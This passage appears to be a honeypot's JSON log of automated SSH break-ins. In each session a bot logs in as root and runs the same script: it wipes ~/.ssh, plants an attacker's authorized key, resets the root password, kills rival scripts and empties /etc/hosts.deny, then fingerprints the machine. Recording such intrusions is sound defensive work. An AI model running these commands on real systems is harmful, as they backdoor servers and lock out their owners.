complete","commands":18,"transcript_bytes":2249,"events":[{"seq":1,"at":"2026-08-26T14:17:21.788113+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:17:22.532792+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:17:29.056261+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:17:29.921731+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:17:30.667579+00:00","kind":"input","latency_ms":null,"data":"echo \"root:5BYPxozfF4Ou\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:17:31.415067+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:17:32.161822+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:17:32.470169+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:17:33.221928+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:17:34.319433+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:17:35.070354+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:17:36.070019+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:17:36.816931+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:17:37.424846+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:17:38.172547+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:17:38.563706+00:00","kind":"output","latency_ms":null,"data":" 14:17:38 up 6 days, 11:07, 0 user, load average: 0.28, 0.35, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:17:39.309879+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:17:39.745214+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:17:40.490275+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:17:40.788299+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:17:41.536593+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:17:42.260320+00:00","kind":"output","latency_ms":null,"data":"top - 14:17:42 up 6 days, 11:07, 0 user, load average: 0.28, 0.35, 0.19\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:17:43.005630+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:17:43.903765+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:17:44.648736+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:17:44.990507+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:17:45.737247+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:17:46.603340+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T14:17:47.349670+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:17:48.448875+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:17:49.197122+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:17:50.516683+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"root@0101","method":"password","accepted":true,"tier":"other"}]} {"id":"9b420018-126a-46e8-b24f-51c87043de91","name":"autumn-amiable-serval","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":62728,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":272,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:01:35.432864+00:00","ended_at":"2026-08-26T14:01:36.957850+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2227,"events":[{"seq":1,"at":"2026-08-26T14:01:08.092881+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:01:08.364525+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:01:11.976604+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:01:13.953395+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:01:14.226872+00:00","kind":"input","latency_ms":null,"data":"echo \"root:AT1MZPO8iupu\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:01:14.499443+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:01:14.771701+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:01:15.635462+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:01:15.761224+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-26T14:01:15.908891+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T14:01:17.857861+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T14:01:18.130720+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T14:01:19.116322+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T14:01:19.391752+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T14:01:21.008460+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T14:01:21.279836+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T14:01:22.803668+00:00","kind":"output","latency_ms":null,"data":" 14:01:22 up 6 days, 10:51, 0 user, load average: 0.24, 0.19, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T14:01:23.075853+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T14:01:24.544226+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T14:01:24.816172+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T14:01:25.750049+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T14:01:26.036916+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T14:01:27.525041+00:00","kind":"output","latency_ms":null,"data":"top - 14:01:27 up 6 days, 10:51, 0 user, load average: 0.24, 0.19, 0.17\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T14:01:27.799681+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T14:01:29.193680+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T14:01:29.462227+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T14:01:31.008028+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T14:01:31.279772+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T14:01:32.822758+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T14:01:33.096307+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T14:01:35.160774+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T14:01:35.433811+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T14:01:36.879168+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Test@123","method":"password","accepted":true,"tier":"other"}]} {"id":"59302a61-2612-4208-880c-57bc9e169e91","name":"windswept-airy-jerboa","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":56754,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":290,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:55:48.892489+00:00","ended_at":"2026-08-26T13:55:50.492556+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2194,"events":[{"seq":1,"at":"2026-08-26T13:55:18.968337+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:55:19.271788+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:55:23.420098+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:55:25.571668+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:55:25.879804+00:00","kind":"input","latency_ms":null,"data":"echo \"root:00T3H96HxQFz\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T13:55:26.188767+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T13:55:26.489016+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:55:27.301132+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T13:55:27.905661+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T13:55:28.202114+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T13:55:29.752182+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T13:55:30.043522+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T13:55:32.189605+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T13:55:32.487427+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T13:55:34.220107+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T13:55:34.509008+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T13:55:36.411744+00:00","kind":"output","latency_ms":null,"data":" 13:55:36 up 6 days, 10:45, 0 user, load average: 0.28, 0.27, 0.24\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T13:55:36.701541+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T13:55:38.836684+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T13:55:39.126019+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T13:55:40.406622+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T13:55:40.696869+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T13:55:41.608523+00:00","kind":"output","latency_ms":null,"data":"top - 13:55:41 up 6 days, 10:45, 0 user, load average: 0.28, 0.27, 0.24\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T13:55:41.897605+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T13:55:42.838462+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T13:55:43.129495+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T13:55:45.045423+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T13:55:45.333770+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T13:55:46.290292+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T13:55:46.581596+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T13:55:48.603546+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T13:55:48.893027+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T13:55:50.414765+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"panasonic","method":"password","accepted":true,"tier":"other"}]} {"id":"6e24c3f8-99c5-4d18-b095-14b6b033502d","name":"pleasant-tranquil-gerbil","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":60196,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":301,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:49:41.900181+00:00","ended_at":"2026-08-26T13:49:43.221617+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2159,"events":[{"seq":1,"at":"2026-08-26T13:49:13.666514+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:49:13.965152+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:49:17.870644+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:49:19.457757+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:49:19.759164+00:00","kind":"input","latency_ms":null,"data":"echo \"root:MbQ9PMxKBVQF\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T13:49:20.059253+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T13:49:20.358665+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:49:21.803245+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T13:49:22.405751+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T13:49:22.708274+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T13:49:24.841093+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T13:49:25.142790+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T13:49:27.048662+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T13:49:27.350931+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T13:49:28.439230+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T13:49:28.739690+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T13:49:30.704662+00:00","kind":"output","latency_ms":null,"data":" 13:49:30 up 6 days, 10:39, 0 user, load average: 0.13, 0.09, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T13:49:31.006312+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T13:49:31.997248+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T13:49:32.297694+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T13:49:33.188110+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T13:49:33.484665+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T13:49:35.518294+00:00","kind":"output","latency_ms":null,"data":"top - 13:49:35 up 6 days, 10:39, 0 user, load average: 0.13, 0.09, 0.1\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T13:49:35.818747+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T13:49:36.905398+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T13:49:37.206754+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T13:49:38.232187+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T13:49:38.532678+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T13:49:40.468749+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T13:49:40.767691+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T13:49:41.599611+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T13:49:41.900893+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T13:49:43.133756+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"root@0101","method":"password","accepted":true,"tier":"other"}]} {"id":"7174fda1-315e-4d85-be7e-621af5c57b3e","name":"autumn-craggy-weasel","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":51900,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":925,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:44:17.298460+00:00","ended_at":"2026-08-26T13:44:18.623063+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T13:43:39.006087+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:43:39.900596+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:43:50.729834+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:43:51.625738+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:43:52.531937+00:00","kind":"input","latency_ms":null,"data":"echo \"root:W3kR87ovfqbO\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T13:43:53.419458+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T13:43:55.417665+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:43:56.088033+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T13:43:57.000184+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T13:43:58.417099+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T13:43:59.342005+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which 